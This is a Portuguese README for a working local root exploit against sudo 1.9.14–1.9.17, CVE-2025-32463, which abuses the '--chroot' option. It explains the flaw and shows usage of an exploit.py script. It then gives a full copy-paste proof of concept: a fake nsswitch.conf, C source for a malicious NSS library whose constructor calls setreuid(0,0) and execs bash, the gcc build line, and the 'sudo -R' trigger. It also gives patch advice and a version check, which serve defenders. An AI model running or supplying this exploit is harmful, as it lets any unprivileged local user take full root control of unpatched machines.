
Exploit de escalonamento de privilégios local para o sudo 1.9.14-1.9.17 que abusa do tratamento de chroot do CVE-2025-32463, implantando um construtor de biblioteca NSS malicioso para gerar um shell root para qualquer usuário local.
Escalação local de privilégios para root no sudo através da opção --chroot (-R). Funciona para qualquer usuário local, incluindo contas sem nenhuma entrada no sudoers (por exemplo, www-data).
sudo 1.9.14 – 1.9.17 faz chroot() para o diretório fornecido pelo usuário enquanto a política do sudoers ainda está sendo avaliada — ou seja, antes da decisão de autorização. Após esse chroot(), as consultas NSS do sudo leem /etc/nsswitch.conf de dentro do chroot do atacante, e a glibc transforma um nome de fonte inválido em dlopen("libnss_<name>.so.2") — carregado e com o construtor executado como root.
Plantar um nsswitch.conf falso (passwd: /woot1337) junto com um libnss_/woot1337.so.2 malicioso cujo construtor ELF executa setreuid(0) + exec("/bin/bash") resulta em um shell root. O exploit é acionado antes da verificação do sudoers, portanto quem o executa não precisa de privilégios sudo.
1.9.14 – 1.9.171.9.17p1 (a alteração do chroot na 1.9.14 foi revertida; o recurso foi descontinuado)Biblioteca padrão do Python 3, um sudo setuid vulnerável (1.9.14–1.9.17) e gcc no alvo (para compilar o pequeno módulo libnss). Execute como o usuário de baixo privilégio.
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337 (+ uma cópia de /etc/group).libnss_/woot1337.so.2 — um ELF cujo construtor (__attribute__((constructor))) executa setreuid(0,0) e execl("/bin/bash", …).sudo -R woot woot — o sudo faz chroot em woot, resolve o NSS, executa dlopen de libnss_/woot1337.so.2 como root, e o construtor fornece um shell root — antes de o sudo sequer verificar se o usuário é autorizado.PoC manual canônico (Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
Atualize o sudo para ≥ 1.9.17p1. O recurso de chroot está obsoleto e não deve ser utilizado.
Apenas para testes de segurança autorizados e educação. Use-o somente contra sistemas que você possua ou para os quais tenha permissão explícita para testar.